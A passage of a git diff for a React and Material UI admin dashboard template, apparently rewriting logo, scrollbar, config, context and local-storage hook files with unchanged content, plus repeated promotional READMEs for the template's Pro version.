x2="5.56709" y2="17.1469" gradientUnits="userSpaceOnUse"> - <stop stopColor={theme.vars.palette.primary.darker} /> - <stop offset="0.9637" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> - </linearGradient> - <linearGradient id="paint1_linear" x1="26.2675" y1="14.1279" x2="28.7404" y2="16.938" gradientUnits="userSpaceOnUse"> - <stop stopColor={theme.vars.palette.primary.darker} /> - <stop offset="1" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> - </linearGradient> - </defs> - </svg> - </> - ); -} +// material-ui +import { useTheme } from '@mui/material/styles'; + +// ==============================|| LOGO SVG ||============================== // + +export default function LogoMain() { + const theme = useTheme(); + return ( + <> + <svg width="118" height="35" viewBox="0 0 118 35" fill="none" xmlns="http://www.w3.org/2000/svg"> + <path + d="M4.63564 15.8644L6.94797 13.552L6.95038 13.5496H11.3006L9.56969 15.2806L9.12278 15.7275L7.35024 17.5L7.56977 17.7201L17.5 27.6498L27.6498 17.5L25.8766 15.7275L25.7518 15.602L23.6994 13.5496H28.0496L28.052 13.552L29.8644 15.3644L32 17.5L17.5 32L3 17.5L4.63564 15.8644ZM17.5 3L25.8784 11.3784H21.5282L17.5 7.35024L13.4718 11.3784H9.12158L17.5 3Z" + fill={theme.vars.palette.primary.dark} + /> + <path + d="M7.35025 17.5L9.1228 15.7275L9.5697 15.2805L7.83937 13.5496H6.95039L6.94798 13.552L4.63564 15.8644L6.8551 18.073L7.35025 17.5Z" + fill="url(#paint0_linear)" + /> + <path + d="M25.8767 15.7275L27.6498 17.5L27.4743 17.6755L27.4749 17.6761L29.8644 15.3644L28.0521 13.552L28.0497 13.5496H27.8736L25.7518 15.602L25.8767 15.7275Z" + fill="url(#paint1_linear)" + /> + <path + d="M6.94549 13.5496L6.9479 13.552L9.12272 15.7275L17.4999 24.1041L28.0544 13.5496H6.94549Z" + fill={theme.vars.palette.primary.main} + /> + <path + d="M46.5781 10V26H49.3594V14.9844H49.5078L53.9297 25.9531H56.0078L60.4297 15.0078H60.5781V26H63.3594V10H59.8125L55.0625 21.5937H54.875L50.125 10H46.5781ZM69.8438 26.2422C71.7266 26.2422 72.8516 25.3594 73.3672 24.3516H73.4609V26H76.1797V17.9687C76.1797 14.7969 73.5937 13.8438 71.3047 13.8438C68.7813 13.8438 66.8437 14.9687 66.2188 17.1562L68.8594 17.5312C69.1406 16.7109 69.9375 16.0078 71.3203 16.0078C72.6328 16.0078 73.3516 16.6797 73.3516 17.8594V17.9062C73.3516 18.7188 72.5 18.7578 70.3828 18.9844C68.0547 19.2344 65.8281 19.9297 65.8281 22.6328C65.8281 24.9922 67.5547 26.2422 69.8438 26.2422ZM70.5781 24.1641C69.3984 24.1641 68.5547 23.625 68.5547 22.5859C68.5547 21.5 69.5 21.0469 70.7656 20.8672C71.5078 20.7656 72.9922 20.5781 73.3594 20.2812V21.6953C73.3594 23.0312 72.2813 24.1641 70.5781 24.1641ZM81.8516 18.9687C81.8516 17.2344 82.8984 16.2344 84.3906 16.2344C85.8516 16.2344 86.7266 17.1953 86.7266 18.7969V26H89.5547V18.3594C89.5625 15.4844 87.9219 13.8438 85.4453 13.8438C83.6484 13.8438 82.4141 14.7031 81.8672 16.0391H81.7266V14H79.0234V26H81.8516V18.9687ZM98.4219 14H96.0547V11.125H93.2266V14H91.5234V16.1875H93.2266V22.8594C93.2109 25.1172 94.8516 26.2266 96.9766 26.1641C97.7813 26.1406 98.3359 25.9844 98.6406 25.8828L98.1641 23.6719C98.0078 23.7109 97.6875 23.7812 97.3359 23.7812C96.625 23.7812 96.0547 23.5312 96.0547 22.3906V16.1875H98.4219V14ZM100.787 26H103.615V14H100.787V26ZM102.209 12.2969C103.107 12.2969 103.842 11.6094 103.842 10.7656C103.842 9.91406 103.107 9.22656 102.209 9.22656C101.303 9.22656 100.568 9.91406 100.568 10.7656C100.568 11.6094 101.303 12.2969 102.209 12.2969ZM116.008 17.1719C115.617 15.1406 113.992 13.8438 111.18 13.8438C108.289 13.8438 106.32 15.2656 106.328 17.4844C106.32 19.2344 107.398 20.3906 109.703 20.8672L111.75 21.2969C112.852 21.5391 113.367 21.9844 113.367 22.6641C113.367 23.4844 112.477 24.1016 111.133 24.1016C109.836 24.1016 108.992 23.5391 108.75 22.4609L105.992 22.7266C106.344 24.9297 108.195 26.2344 111.141 26.2344C114.141 26.2344 116.258 24.6797 116.266 22.4062C116.258 20.6953 115.156 19.6484 112.891 19.1562L110.844 18.7188C109.625 18.4453 109.141 18.0234 109.148 17.3281C109.141 16.5156 110.039 15.9531 111.219 15.9531C112.523 15.9531 113.211 16.6641 113.43 17.4531L116.008 17.1719Z" + fill={theme.vars.palette.common.black} + fillOpacity="0.85" + /> + <defs> + <linearGradient id="paint0_linear" x1="8.62526" y1="14.0888" x2="5.56709" y2="17.1469" gradientUnits="userSpaceOnUse"> + <stop stopColor={theme.vars.palette.primary.darker} /> + <stop offset="0.9637" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> + </linearGradient> + <linearGradient id="paint1_linear" x1="26.2675" y1="14.1279" x2="28.7404" y2="16.938" gradientUnits="userSpaceOnUse"> + <stop stopColor={theme.vars.palette.primary.darker} /> + <stop offset="1" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> + </linearGradient> + </defs> + </svg> + </> + ); +} diff --git a/src/components/logo/index.jsx b/src/components/logo/index.jsx index cb56a7fa8..e43122d97 100644 --- a/src/components/logo/index.jsx +++ b/src/components/logo/index.jsx @@ -1,22 +1,22 @@ -import PropTypes from 'prop-types'; -import { Link } from 'react-router-dom'; - -// material-ui -import ButtonBase from '@mui/material/ButtonBase'; - -// project imports -import Logo from './LogoMain'; -import LogoIcon from './LogoIcon'; -import { APP_DEFAULT_PATH } from 'config'; - -// ==============================|| MAIN LOGO ||============================== // - -export default function LogoSection({ reverse, isIcon, sx, to }) { - return ( - <ButtonBase disableRipple component={Link} to={to || APP_DEFAULT_PATH} sx={sx} aria-label="Logo"> - {isIcon ? <LogoIcon /> : <Logo reverse={reverse} />} - </ButtonBase> - ); -} - -LogoSection.propTypes = { reverse: PropTypes.bool, isIcon: PropTypes.bool, sx: PropTypes.any, to: PropTypes.any }; +import PropTypes from 'prop-types'; +import { Link } from 'react-router-dom'; + +// material-ui +import ButtonBase from '@mui/material/ButtonBase'; + +// project imports +import Logo from './LogoMain'; +import LogoIcon from './LogoIcon'; +import { APP_DEFAULT_PATH } from 'config'; + +// ==============================|| MAIN LOGO ||============================== // + +export default function LogoSection({ reverse, isIcon, sx, to }) { + return ( + <ButtonBase disableRipple component={Link} to={to || APP_DEFAULT_PATH} sx={sx} aria-label="Logo"> + {isIcon ? <LogoIcon /> : <Logo reverse={reverse} />} + </ButtonBase> + ); +} + +LogoSection.propTypes = { reverse: PropTypes.bool, isIcon: PropTypes.bool, sx: PropTypes.any, to: PropTypes.any }; diff --git a/src/components/third-party/SimpleBar.jsx b/src/components/third-party/SimpleBar.jsx index f9a3eae0c..dc82cf14a 100644 --- a/src/components/third-party/SimpleBar.jsx +++ b/src/components/third-party/SimpleBar.jsx @@ -1,64 +1,64 @@ -import PropTypes from 'prop-types'; - -// material-ui -import { styled } from '@mui/material/styles'; -import Box from '@mui/material/Box'; - -// project imports -import { withAlpha } from 'utils/colorUtils'; - -// third-party -import SimpleBar from 'simplebar-react'; -import { BrowserView, MobileView } from 'react-device-detect'; - -// root style -const RootStyle = styled(BrowserView)({ - flexGrow: 1, - height: '100%', - overflow: 'hidden' -}); - -// scroll bar wrapper -const SimpleBarStyle = styled(SimpleBar)(({ theme }) => ({ - maxHeight: '100%', - '& .simplebar-scrollbar': { - '&:before': { - background: withAlpha(theme.vars.palette.grey[500], 0.48) - }, - '&.simplebar-visible:before': { - opacity: 1 - } - }, - '& .simplebar-track': { - '&.simplebar-vertical': { - width: 10 - } - }, - '& .simplebar-track.simplebar-horizontal .simplebar-scrollbar': { - height: 6 - }, - '& .simplebar-mask': { - zIndex: 'inherit' - } -})); - -// ==============================|| SIMPLE SCROLL BAR ||============================== // - -export default function SimpleBarScroll({ children, sx, ...other }) { - return ( - <> - <RootStyle> - <SimpleBarStyle clickOnTrack={false} sx={sx} data-simplebar-direction="ltr" {...other}> - {children} - </SimpleBarStyle> - </RootStyle> - <MobileView> - <Box sx={{ overflowX: 'auto', ...sx }} {...other}> - {children} - </Box> - </MobileView> - </> - ); -} - -SimpleBarScroll.propTypes = { children: PropTypes.any, sx: PropTypes.any, other: PropTypes.any }; +import PropTypes from 'prop-types'; + +// material-ui +import { styled } from '@mui/material/styles'; +import Box from '@mui/material/Box'; + +// project imports +import { withAlpha } from 'utils/colorUtils'; + +// third-party +import SimpleBar from 'simplebar-react'; +import { BrowserView, MobileView } from 'react-device-detect'; + +// root style +const RootStyle = styled(BrowserView)({ + flexGrow: 1, + height: '100%', + overflow: 'hidden' +}); + +// scroll bar wrapper +const SimpleBarStyle = styled(SimpleBar)(({ theme }) => ({ + maxHeight: '100%', + '& .simplebar-scrollbar': { + '&:before': { + background: withAlpha(theme.vars.palette.grey[500], 0.48) + }, + '&.simplebar-visible:before': { + opacity: 1 + } + }, + '& .simplebar-track': { + '&.simplebar-vertical': { + width: 10 + } + }, + '& .simplebar-track.simplebar-horizontal .simplebar-scrollbar': { + height: 6 + }, + '& .simplebar-mask': { + zIndex: 'inherit' + } +})); + +// ==============================|| SIMPLE SCROLL BAR ||============================== // + +export default function SimpleBarScroll({ children, sx, ...other }) { + return ( + <> + <RootStyle> + <SimpleBarStyle clickOnTrack={false} sx={sx} data-simplebar-direction="ltr" {...other}> + {children} + </SimpleBarStyle> + </RootStyle> + <MobileView> + <Box sx={{ overflowX: 'auto', ...sx }} {...other}> + {children} + </Box> + </MobileView> + </> + ); +} + +SimpleBarScroll.propTypes = { children: PropTypes.any, sx: PropTypes.any, other: PropTypes.any }; diff --git a/src/config.js b/src/config.js index 1075f2838..c34797418 100644 --- a/src/config.js +++ b/src/config.js @@ -1,11 +1,11 @@ -// ==============================|| THEME CONSTANT ||============================== // - -export const APP_DEFAULT_PATH = '/dashboard/default'; -export const DRAWER_WIDTH = 260; -export const MINI_DRAWER_WIDTH = 60; - -const config = { - fontFamily: `'Public Sans', sans-serif` -}; - -export default config; +// ==============================|| THEME CONSTANT ||============================== // + +export const APP_DEFAULT_PATH = '/dashboard/default'; +export const DRAWER_WIDTH = 260; +export const MINI_DRAWER_WIDTH = 60; + +const config = { + fontFamily: `'Public Sans', sans-serif` +}; + +export default config; diff --git a/src/contexts/ConfigContext.jsx b/src/contexts/ConfigContext.jsx index d98b66394..882f2372d 100644 --- a/src/contexts/ConfigContext.jsx +++ b/src/contexts/ConfigContext.jsx @@ -1,22 +1,22 @@ -import PropTypes from 'prop-types'; -import { createContext, useMemo } from 'react'; - -// project imports -import config from 'config'; -import { useLocalStorage } from 'hooks/useLocalStorage'; - -// ==============================|| CONFIG CONTEXT ||============================== // - -export const ConfigContext = createContext(undefined); - -// ==============================|| CONFIG PROVIDER ||============================== // - -export function ConfigProvider({ children }) { - const { state, setState, setField, resetState } = useLocalStorage('mantis-react-free-config', config); - - const memoizedValue = useMemo(() => ({ state, setState, setField, resetState }), [state, setField, setState, resetState]); - - return <ConfigContext.Provider value={memoizedValue}>{children}</ConfigContext.Provider>; -} - +import PropTypes from 'prop-types'; +import { createContext, useMemo } from 'react'; + +// project imports +import config from 'config'; +import { useLocalStorage } from 'hooks/useLocalStorage'; + +// ==============================|| CONFIG CONTEXT ||============================== // + +export const ConfigContext = createContext(undefined); + +// ==============================|| CONFIG PROVIDER ||============================== // + +export function ConfigProvider({ children }) { + const { state, setState, setField, resetState } = useLocalStorage('mantis-react-free-config', config); + + const memoizedValue = useMemo(() => ({ state, setState, setField, resetState }), [state, setField, setState, resetState]); + + return <ConfigContext.Provider value={memoizedValue}>{children}</ConfigContext.Provider>; +} + ConfigProvider.propTypes = { children: PropTypes.node }; \ No newline at end of file diff --git a/src/contexts/README.md b/src/contexts/README.md index 064273c0a..0cf82a054 100644 --- a/src/contexts/README.md +++ b/src/contexts/README.md @@ -1,43 +1,43 @@ -**Note:** _This README file is maintained to ensure the product structure aligns with the Pro version, making migration to Pro seamless when you choose to upgrade. This alignment aims to provide a smoother experience during the upgrade, especially regarding directory structure. You may notice these files and folders appearing throughout the project where they are part of the Pro version. While this might feel slightly inconvenient, it is intended to simplify your migration process and provide assistance. If these files are unnecessary for your use case, you can easily remove them._ - -Please continue reading below to explore the features of the Pro version: - -# Mantis Admin Panel - Unlock Premium Features with the Pro Version - -Elevate your project with the Pro Version of the <b>Mantis Admin Panel!</b> Built to cater to modern web applications, the Pro version is loaded with advanced features, intuitive design elements, and dynamic tools that ensure seamless functionality. - -This page (folder) is a sneak peek into the premium features available in <b>version 3.4.0</b>. Upgrade to the Pro version to unlock exclusive pages and components that will take your project to the next level. - -## Included in the Pro Version: - -[πŸš€ Dashboards](https://mantisdashboard.com/dashboard/default) : Advanced dashboards with real-time insights and data visualizations for actionable metrics. - -[πŸ“¦ Widgets](https://mantisdashboard.com/widget/statistics) : A curated library of pre-built widgets for enhanced functionality and faster development. - -[πŸ”§ Components](https://mantisdashboard.com/components-overview/buttons) : A rich collection of reusable and customizable UI components. - -[πŸ“ Forms](https://mantisdashboard.com/forms/wizard) : Dynamic and customizable forms with advanced validation features for a smooth user experience. - -[πŸ“Š Tables](https://mantisdashboard.com/tables/react-table/basic) : Structured, interactive tables with sorting, filtering, and pagination options. - -[πŸ“ˆ Charts](https://mantisdashboard.com/charts/apexchart) : Beautifully designed charts powered by modern data visualization libraries. - -[πŸ”’ Authentication](https://mantisdashboard.com/auth/login) : Secure pages for login, registration, and password recovery, ensuring robust user management. - -[πŸ›’ E-commerce App](https://mantisdashboard.com/apps/e-commerce/products) : A complete e-commerce management system for handling products, inventory, and transactions. - -[πŸ’¬ Chat Messages](https://mantisdashboard.com/apps/chat) : An integrated chat system to enhance communication within your application. - -[πŸ‘€ User Profile](https://mantisdashboard.com/apps/profiles/user/personal) : A sleek and customizable user profile page for managing user details and settings. - -## Why Upgrade to the Pro Version? - -πŸš€ <b>Advanced Features</b> : Access premium components and tools designed for modern, high-end projects. <br/><br/> -⚑ <b>Faster Development</b> : Pre-designed pages, widgets, and features help you save time and effort. <br/><br/> -πŸ“± <b>Fully Responsive Design</b> : Enjoy a flawless experience across desktops, tablets, and smartphones. <br/><br/> -πŸ›  <b>Developer-Friendly</b> : Modular code, clear documentation, and well-structured components make customization a breeze. <br/><br/> -🎨 <b>Customization-Ready</b> : Personalize every aspect of your project with ease to match your branding needs. - -## Get Started with the Pro Version! - -πŸ‘‰ [Explore the Pro version now](https://codedthemes.com/item/mantis-angular-admin-template/) - and supercharge your development experience! +**Note:** _This README file is maintained to ensure the product structure aligns with the Pro version, making migration to Pro seamless when you choose to upgrade. This alignment aims to provide a smoother experience during the upgrade, especially regarding directory structure. You may notice these files and folders appearing throughout the project where they are part of the Pro version. While this might feel slightly inconvenient, it is intended to simplify your migration process and provide assistance. If these files are unnecessary for your use case, you can easily remove them._ + +Please continue reading below to explore the features of the Pro version: + +# Mantis Admin Panel - Unlock Premium Features with the Pro Version + +Elevate your project with the Pro Version of the <b>Mantis Admin Panel!</b> Built to cater to modern web applications, the Pro version is loaded with advanced features, intuitive design elements, and dynamic tools that ensure seamless functionality. + +This page (folder) is a sneak peek into the premium features available in <b>version 3.4.0</b>. Upgrade to the Pro version to unlock exclusive pages and components that will take your project to the next level. + +## Included in the Pro Version: + +[πŸš€ Dashboards](https://mantisdashboard.com/dashboard/default) : Advanced dashboards with real-time insights and data visualizations for actionable metrics. + +[πŸ“¦ Widgets](https://mantisdashboard.com/widget/statistics) : A curated library of pre-built widgets for enhanced functionality and faster development. + +[πŸ”§ Components](https://mantisdashboard.com/components-overview/buttons) : A rich collection of reusable and customizable UI components. + +[πŸ“ Forms](https://mantisdashboard.com/forms/wizard) : Dynamic and customizable forms with advanced validation features for a smooth user experience. + +[πŸ“Š Tables](https://mantisdashboard.com/tables/react-table/basic) : Structured, interactive tables with sorting, filtering, and pagination options. + +[πŸ“ˆ Charts](https://mantisdashboard.com/charts/apexchart) : Beautifully designed charts powered by modern data visualization libraries. + +[πŸ”’ Authentication](https://mantisdashboard.com/auth/login) : Secure pages for login, registration, and password recovery, ensuring robust user management. + +[πŸ›’ E-commerce App](https://mantisdashboard.com/apps/e-commerce/products) : A complete e-commerce management system for handling products, inventory, and transactions. + +[πŸ’¬ Chat Messages](https://mantisdashboard.com/apps/chat) : An integrated chat system to enhance communication within your application. + +[πŸ‘€ User Profile](https://mantisdashboard.com/apps/profiles/user/personal) : A sleek and customizable user profile page for managing user details and settings. + +## Why Upgrade to the Pro Version? + +πŸš€ <b>Advanced Features</b> : Access premium components and tools designed for modern, high-end projects. <br/><br/> +⚑ <b>Faster Development</b> : Pre-designed pages, widgets, and features help you save time and effort. <br/><br/> +πŸ“± <b>Fully Responsive Design</b> : Enjoy a flawless experience across desktops, tablets, and smartphones. <br/><br/> +πŸ›  <b>Developer-Friendly</b> : Modular code, clear documentation, and well-structured components make customization a breeze. <br/><br/> +🎨 <b>Customization-Ready</b> : Personalize every aspect of your project with ease to match your branding needs. + +## Get Started with the Pro Version! + +πŸ‘‰ [Explore the Pro version now](https://codedthemes.com/item/mantis-angular-admin-template/) - and supercharge your development experience! diff --git a/src/data/README.md b/src/data/README.md index 064273c0a..0cf82a054 100644 --- a/src/data/README.md +++ b/src/data/README.md @@ -1,43 +1,43 @@ -**Note:** _This README file is maintained to ensure the product structure aligns with the Pro version, making migration to Pro seamless when you choose to upgrade. This alignment aims to provide a smoother experience during the upgrade, especially regarding directory structure. You may notice these files and folders appearing throughout the project where they are part of the Pro version. While this might feel slightly inconvenient, it is intended to simplify your migration process and provide assistance. If these files are unnecessary for your use case, you can easily remove them._ - -Please continue reading below to explore the features of the Pro version: - -# Mantis Admin Panel - Unlock Premium Features with the Pro Version - -Elevate your project with the Pro Version of the <b>Mantis Admin Panel!</b> Built to cater to modern web applications, the Pro version is loaded with advanced features, intuitive design elements, and dynamic tools that ensure seamless functionality. - -This page (folder) is a sneak peek into the premium features available in <b>version 3.4.0</b>. Upgrade to the Pro version to unlock exclusive pages and components that will take your project to the next level. - -## Included in the Pro Version: - -[πŸš€ Dashboards](https://mantisdashboard.com/dashboard/default) : Advanced dashboards with real-time insights and data visualizations for actionable metrics. - -[πŸ“¦ Widgets](https://mantisdashboard.com/widget/statistics) : A curated library of pre-built widgets for enhanced functionality and faster development. - -[πŸ”§ Components](https://mantisdashboard.com/components-overview/buttons) : A rich collection of reusable and customizable UI components. - -[πŸ“ Forms](https://mantisdashboard.com/forms/wizard) : Dynamic and customizable forms with advanced validation features for a smooth user experience. - -[πŸ“Š Tables](https://mantisdashboard.com/tables/react-table/basic) : Structured, interactive tables with sorting, filtering, and pagination options. - -[πŸ“ˆ Charts](https://mantisdashboard.com/charts/apexchart) : Beautifully designed charts powered by modern data visualization libraries. - -[πŸ”’ Authentication](https://mantisdashboard.com/auth/login) : Secure pages for login, registration, and password recovery, ensuring robust user management. - -[πŸ›’ E-commerce App](https://mantisdashboard.com/apps/e-commerce/products) : A complete e-commerce management system for handling products, inventory, and transactions. - -[πŸ’¬ Chat Messages](https://mantisdashboard.com/apps/chat) : An integrated chat system to enhance communication within your application. - -[πŸ‘€ User Profile](https://mantisdashboard.com/apps/profiles/user/personal) : A sleek and customizable user profile page for managing user details and settings. - -## Why Upgrade to the Pro Version? - -πŸš€ <b>Advanced Features</b> : Access premium components and tools designed for modern, high-end projects. <br/><br/> -⚑ <b>Faster Development</b> : Pre-designed pages, widgets, and features help you save time and effort. <br/><br/> -πŸ“± <b>Fully Responsive Design</b> : Enjoy a flawless experience across desktops, tablets, and smartphones. <br/><br/> -πŸ›  <b>Developer-Friendly</b> : Modular code, clear documentation, and well-structured components make customization a breeze. <br/><br/> -🎨 <b>Customization-Ready</b> : Personalize every aspect of your project with ease to match your branding needs. - -## Get Started with the Pro Version! - -πŸ‘‰ [Explore the Pro version now](https://codedthemes.com/item/mantis-angular-admin-template/) - and supercharge your development experience! +**Note:** _This README file is maintained to ensure the product structure aligns with the Pro version, making migration to Pro seamless when you choose to upgrade. This alignment aims to provide a smoother experience during the upgrade, especially regarding directory structure. You may notice these files and folders appearing throughout the project where they are part of the Pro version. While this might feel slightly inconvenient, it is intended to simplify your migration process and provide assistance. If these files are unnecessary for your use case, you can easily remove them._ + +Please continue reading below to explore the features of the Pro version: + +# Mantis Admin Panel - Unlock Premium Features with the Pro Version + +Elevate your project with the Pro Version of the <b>Mantis Admin Panel!</b> Built to cater to modern web applications, the Pro version is loaded with advanced features, intuitive design elements, and dynamic tools that ensure seamless functionality. + +This page (folder) is a sneak peek into the premium features available in <b>version 3.4.0</b>. Upgrade to the Pro version to unlock exclusive pages and components that will take your project to the next level. + +## Included in the Pro Version: + +[πŸš€ Dashboards](https://mantisdashboard.com/dashboard/default) : Advanced dashboards with real-time insights and data visualizations for actionable metrics. + +[πŸ“¦ Widgets](https://mantisdashboard.com/widget/statistics) : A curated library of pre-built widgets for enhanced functionality and faster development. + +[πŸ”§ Components](https://mantisdashboard.com/components-overview/buttons) : A rich collection of reusable and customizable UI components. + +[πŸ“ Forms](https://mantisdashboard.com/forms/wizard) : Dynamic and customizable forms with advanced validation features for a smooth user experience. + +[πŸ“Š Tables](https://mantisdashboard.com/tables/react-table/basic) : Structured, interactive tables with sorting, filtering, and pagination options. + +[πŸ“ˆ Charts](https://mantisdashboard.com/charts/apexchart) : Beautifully designed charts powered by modern data visualization libraries. + +[πŸ”’ Authentication](https://mantisdashboard.com/auth/login) : Secure pages for login, registration, and password recovery, ensuring robust user management. + +[πŸ›’ E-commerce App](https://mantisdashboard.com/apps/e-commerce/products) : A complete e-commerce management system for handling products, inventory, and transactions. + +[πŸ’¬ Chat Messages](https://mantisdashboard.com/apps/chat) : An integrated chat system to enhance communication within your application. + +[πŸ‘€ User Profile](https://mantisdashboard.com/apps/profiles/user/personal) : A sleek and customizable user profile page for managing user details and settings. + +## Why Upgrade to the Pro Version? + +πŸš€ <b>Advanced Features</b> : Access premium components and tools designed for modern, high-end projects. <br/><br/> +⚑ <b>Faster Development</b> : Pre-designed pages, widgets, and features help you save time and effort. <br/><br/> +πŸ“± <b>Fully Responsive Design</b> : Enjoy a flawless experience across desktops, tablets, and smartphones. <br/><br/> +πŸ›  <b>Developer-Friendly</b> : Modular code, clear documentation, and well-structured components make customization a breeze. <br/><br/> +🎨 <b>Customization-Ready</b> : Personalize every aspect of your project with ease to match your branding needs. + +## Get Started with the Pro Version! + +πŸ‘‰ [Explore the Pro version now](https://codedthemes.com/item/mantis-angular-admin-template/) - and supercharge your development experience! diff --git a/src/hooks/README.md b/src/hooks/README.md index 064273c0a..0cf82a054 100644 --- a/src/hooks/README.md +++ b/src/hooks/README.md @@ -1,43 +1,43 @@ -**Note:** _This README file is maintained to ensure the product structure aligns with the Pro version, making migration to Pro seamless when you choose to upgrade. This alignment aims to provide a smoother experience during the upgrade, especially regarding directory structure. You may notice these files and folders appearing throughout the project where they are part of the Pro version. While this might feel slightly inconvenient, it is intended to simplify your migration process and provide assistance. If these files are unnecessary for your use case, you can easily remove them._ - -Please continue reading below to explore the features of the Pro version: - -# Mantis Admin Panel - Unlock Premium Features with the Pro Version - -Elevate your project with the Pro Version of the <b>Mantis Admin Panel!</b> Built to cater to modern web applications, the Pro version is loaded with advanced features, intuitive design elements, and dynamic tools that ensure seamless functionality. - -This page (folder) is a sneak peek into the premium features available in <b>version 3.4.0</b>. Upgrade to the Pro version to unlock exclusive pages and components that will take your project to the next level. - -## Included in the Pro Version: - -[πŸš€ Dashboards](https://mantisdashboard.com/dashboard/default) : Advanced dashboards with real-time insights and data visualizations for actionable metrics. - -[πŸ“¦ Widgets](https://mantisdashboard.com/widget/statistics) : A curated library of pre-built widgets for enhanced functionality and faster development. - -[πŸ”§ Components](https://mantisdashboard.com/components-overview/buttons) : A rich collection of reusable and customizable UI components. - -[πŸ“ Forms](https://mantisdashboard.com/forms/wizard) : Dynamic and customizable forms with advanced validation features for a smooth user experience. - -[πŸ“Š Tables](https://mantisdashboard.com/tables/react-table/basic) : Structured, interactive tables with sorting, filtering, and pagination options. - -[πŸ“ˆ Charts](https://mantisdashboard.com/charts/apexchart) : Beautifully designed charts powered by modern data visualization libraries. - -[πŸ”’ Authentication](https://mantisdashboard.com/auth/login) : Secure pages for login, registration, and password recovery, ensuring robust user management. - -[πŸ›’ E-commerce App](https://mantisdashboard.com/apps/e-commerce/products) : A complete e-commerce management system for handling products, inventory, and transactions. - -[πŸ’¬ Chat Messages](https://mantisdashboard.com/apps/chat) : An integrated chat system to enhance communication within your application. - -[πŸ‘€ User Profile](https://mantisdashboard.com/apps/profiles/user/personal) : A sleek and customizable user profile page for managing user details and settings. - -## Why Upgrade to the Pro Version? - -πŸš€ <b>Advanced Features</b> : Access premium components and tools designed for modern, high-end projects. <br/><br/> -⚑ <b>Faster Development</b> : Pre-designed pages, widgets, and features help you save time and effort. <br/><br/> -πŸ“± <b>Fully Responsive Design</b> : Enjoy a flawless experience across desktops, tablets, and smartphones. <br/><br/> -πŸ›  <b>Developer-Friendly</b> : Modular code, clear documentation, and well-structured components make customization a breeze. <br/><br/> -🎨 <b>Customization-Ready</b> : Personalize every aspect of your project with ease to match your branding needs. - -## Get Started with the Pro Version! - -πŸ‘‰ [Explore the Pro version now](https://codedthemes.com/item/mantis-angular-admin-template/) - and supercharge your development experience! +**Note:** _This README file is maintained to ensure the product structure aligns with the Pro version, making migration to Pro seamless when you choose to upgrade. This alignment aims to provide a smoother experience during the upgrade, especially regarding directory structure. You may notice these files and folders appearing throughout the project where they are part of the Pro version. While this might feel slightly inconvenient, it is intended to simplify your migration process and provide assistance. If these files are unnecessary for your use case, you can easily remove them._ + +Please continue reading below to explore the features of the Pro version: + +# Mantis Admin Panel - Unlock Premium Features with the Pro Version + +Elevate your project with the Pro Version of the <b>Mantis Admin Panel!</b> Built to cater to modern web applications, the Pro version is loaded with advanced features, intuitive design elements, and dynamic tools that ensure seamless functionality. + +This page (folder) is a sneak peek into the premium features available in <b>version 3.4.0</b>. Upgrade to the Pro version to unlock exclusive pages and components that will take your project to the next level. + +## Included in the Pro Version: + +[πŸš€ Dashboards](https://mantisdashboard.com/dashboard/default) : Advanced dashboards with real-time insights and data visualizations for actionable metrics. + +[πŸ“¦ Widgets](https://mantisdashboard.com/widget/statistics) : A curated library of pre-built widgets for enhanced functionality and faster development. + +[πŸ”§ Components](https://mantisdashboard.com/components-overview/buttons) : A rich collection of reusable and customizable UI components. + +[πŸ“ Forms](https://mantisdashboard.com/forms/wizard) : Dynamic and customizable forms with advanced validation features for a smooth user experience. + +[πŸ“Š Tables](https://mantisdashboard.com/tables/react-table/basic) : Structured, interactive tables with sorting, filtering, and pagination options. + +[πŸ“ˆ Charts](https://mantisdashboard.com/charts/apexchart) : Beautifully designed charts powered by modern data visualization libraries. + +[πŸ”’ Authentication](https://mantisdashboard.com/auth/login) : Secure pages for login, registration, and password recovery, ensuring robust user management. + +[πŸ›’ E-commerce App](https://mantisdashboard.com/apps/e-commerce/products) : A complete e-commerce management system for handling products, inventory, and transactions. + +[πŸ’¬ Chat Messages](https://mantisdashboard.com/apps/chat) : An integrated chat system to enhance communication within your application. + +[πŸ‘€ User Profile](https://mantisdashboard.com/apps/profiles/user/personal) : A sleek and customizable user profile page for managing user details and settings. + +## Why Upgrade to the Pro Version? + +πŸš€ <b>Advanced Features</b> : Access premium components and tools designed for modern, high-end projects. <br/><br/> +⚑ <b>Faster Development</b> : Pre-designed pages, widgets, and features help you save time and effort. <br/><br/> +πŸ“± <b>Fully Responsive Design</b> : Enjoy a flawless experience across desktops, tablets, and smartphones. <br/><br/> +πŸ›  <b>Developer-Friendly</b> : Modular code, clear documentation, and well-structured components make customization a breeze. <br/><br/> +🎨 <b>Customization-Ready</b> : Personalize every aspect of your project with ease to match your branding needs. + +## Get Started with the Pro Version! + +πŸ‘‰ [Explore the Pro version now](https://codedthemes.com/item/mantis-angular-admin-template/) - and supercharge your development experience! diff --git a/src/hooks/useConfig.js b/src/hooks/useConfig.js index 4fcf3a3a0..1e65dfb6e 100644 --- a/src/hooks/useConfig.js +++ b/src/hooks/useConfig.js @@ -1,12 +1,12 @@ -import { use } from 'react'; -import { ConfigContext } from 'contexts/ConfigContext'; - -// ==============================|| CONFIG - HOOKS ||============================== // - -export default function useConfig() { - const context = use(ConfigContext); - - if (!context) throw new Error('useConfig must be use inside ConfigProvider'); - - return context; -} +import { use } from 'react'; +import { ConfigContext } from 'contexts/ConfigContext'; + +// ==============================|| CONFIG - HOOKS ||============================== // + +export default function useConfig() { + const context = use(ConfigContext); + + if (!context) throw new Error('useConfig must be use inside ConfigProvider'); + + return context; +} diff --git a/src/hooks/useLocalStorage.js b/src/hooks/useLocalStorage.js index 0247ef957..e3faec593 100644 --- a/src/hooks/useLocalStorage.js +++ b/src/hooks/useLocalStorage.js @@ -1,45 +1,45 @@ -import { useState, useEffect, useCallback } from 'react'; - -// ==============================|| LOCAL STORAGE HOOKS ||============================== // - -export function useLocalStorage(key, defaultValue) { - // Load initial state from localStorage or fallback to default - const readValue = () => { - if (typeof window === 'undefined') return defaultValue; - - try { - const item = localStorage.getItem(key); - return item ? JSON.parse(item) : defaultValue; - } catch (err) { - console.warn(`Error reading localStorage key β€œ${key}”:`, err); - return defaultValue; - } - }; - - const [state, setState] = useState(readValue); - - // Sync to localStorage whenever state changes - useEffect(() => { - try { - localStorage.setItem(key, JSON.stringify(state)); - } catch (err) { - console.warn(`Error setting localStorage key β€œ${key}”:`, err); - } - }, [key, state]); - - // Update single field - const 